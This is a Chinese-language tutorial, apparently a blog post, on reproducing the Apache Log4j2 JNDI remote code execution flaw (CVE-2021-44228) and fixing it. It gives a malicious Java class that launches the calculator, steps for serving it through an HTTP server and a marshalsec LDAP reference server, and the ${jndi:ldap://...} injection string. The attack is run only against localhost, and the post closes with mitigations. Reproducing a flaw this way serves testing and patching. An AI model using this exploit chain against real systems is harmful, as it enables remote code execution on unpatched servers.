检查你的项目有没有Apache Log4j2 RCE漏洞

简介: 12 月 10 日凌晨,Apache 开源项目 Log4j 的远程代码执行漏洞细节被公开,Apache Log4j 2.x <= 2.14.1 版本均回会受到影响。

简介

三步快速检测你的项目有没有Apache Log4j2 RCE漏洞。

漏洞原因

在使用org/apache/logging/log4j/spi/AbstractLogger.java log记录日志时,且log等级为执行等级就能触发。原因是log字符串中检测到${},就会解析其中的字符串尝试使用lookup查询,因此只要注入log参数内容,就有机会实现漏洞利用。


  1. 准备要远程执行的恶意代码,命名Log4jRCE.java,用javac编译成class文件

public class Log4jRCE {

   static {

       try {

           String [] cmd={"calc"};

           java.lang.Runtime.getRuntime().exec(cmd).waitFor();

       }catch (Exception e){

           e.printStackTrace();

       }

   }

}


  1. 在当前目录启动cmd,用python启动一个HTTPServer 服务,python -m http.server 8888,检测一下服务状态 http://127.0.0.1:8888/

image.png

  1. 开启JNDI LDAPRefServer:

git clone https://github.com/mbechler/marshalsec.git

cd marshalsec

# Java 8 required

mvn clean package -DskipTests

java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://127.0.0.1:8888/#Log4jRCE"

image.png


在你的项目main方法里添加代码:

org.apache.logging.log4j.Logger logger = org.apache.logging.log4j.LogManager.getLogger(Demo.class);

logger.error("${jndi:ldap://127.0.0.1:1389/#Log4jRCE}");

image.png

执行远程代码成功,打开了本地的计算器程序。漏洞复现成功。


触发条件

  1. JDK版本11.0.1、8u191、7u201、6u211以下版本。其它版本需要增加代码System.setProperty("com.sun.jndi.ldap.object.trustURLCodebase", "true");
  2. 系统有可注入入口,比如后端拿到前端传来的字符串,打印了开启日志等级的日志。
  3. 系统使用log4j-api,log4j-core 2.14.1及以下版本



   org.apache.logging.log4j
   log4j-api
   2.14.1



   org.apache.logging.log4j
   log4j-core
   2.14.1


建议修复

  • JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true log4j2.formatMsgNoLookups=True
  • 升级log4j版本2.14.1以上
  • 升级jdk版本


参考链接

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce/issues/5

相关文章
|
安全 应用服务中间件 Apache
Apache-Tomcat-Ajp文件读取漏洞(CVE-2020-1938、CNVD-2020-10487)
Apache-Tomcat-Ajp文件读取漏洞产生原因是由于Tomcat默认开启的AJP服务(8009端口)存在一处文件包含缺陷,攻击者可构造恶意的请求包进行文件包含操作,进而读取受影响Tomcat服务器上的Web目录文件
2095 1
web服务器(Apache)访问日志(access_log)详细解释
web服务器(Apache)访问日志(access_log)详细解释
|
安全 Java Shell
Apache Log4j2 远程代码执行漏洞
Apache Log4j2是一个·基于Java的日志记录工具,该工具重写了Log4j框架,并且引入大量丰富的特性,该日志框架被大量用于业务系统开发,用来记录日志信息。
442 2
|
存储 安全 Java
【Shiro】Apache Shiro 默认密钥致命令执行漏洞(CVE-2016-4437)的解决方案
【Shiro】Apache Shiro 默认密钥致命令执行漏洞(CVE-2016-4437)的解决方案
2170 0
|
安全 Java 大数据
CDH/HDP/CDP等大数据平台中如何快速应对LOG4J的JNDI系列漏洞
CDH/HDP/CDP等大数据平台中如何快速应对LOG4J的JNDI系列漏洞
|
XML 安全 Java
【日志框架整合】Slf4j、Log4j、Log4j2、Logback配置模板
本文介绍了Java日志框架的基本概念和使用方法,重点讨论了SLF4J、Log4j、Logback和Log4j2之间的关系及其性能对比。SLF4J作为一个日志抽象层,允许开发者使用统一的日志接口,而Log4j、Logback和Log4j2则是具体的日志实现框架。Log4j2在性能上优于Logback,推荐在新项目中使用。文章还详细说明了如何在Spring Boot项目中配置Log4j2和Logback,以及如何使用Lombok简化日志记录。最后,提供了一些日志配置的最佳实践,包括滚动日志、统一日志格式和提高日志性能的方法。
5258 32
【日志框架整合】Slf4j、Log4j、Log4j2、Logback配置模板
|
监控 安全 Apache
什么是Apache日志?为什么Apache日志分析很重要?
Apache是全球广泛使用的Web服务器软件,支持超过30%的活跃网站。它通过接收和处理HTTP请求,与后端服务器通信,返回响应并记录日志,确保网页请求的快速准确处理。Apache日志分为访问日志和错误日志,对提升用户体验、保障安全及优化性能至关重要。EventLog Analyzer等工具可有效管理和分析这些日志,增强Web服务的安全性和可靠性。
709 9
|
监控 容灾 算法
阿里云 SLS 多云日志接入最佳实践:链路、成本与高可用性优化
本文探讨了如何高效、经济且可靠地将海外应用与基础设施日志统一采集至阿里云日志服务(SLS),解决全球化业务扩展中的关键挑战。重点介绍了高性能日志采集Agent(iLogtail/LoongCollector)在海外场景的应用,推荐使用LoongCollector以获得更优的稳定性和网络容错能力。同时分析了多种网络接入方案,包括公网直连、全球加速优化、阿里云内网及专线/CEN/VPN接入等,并提供了成本优化策略和多目标发送配置指导,帮助企业构建稳定、低成本、高可用的全球日志系统。
1554 55

推荐镜像

更多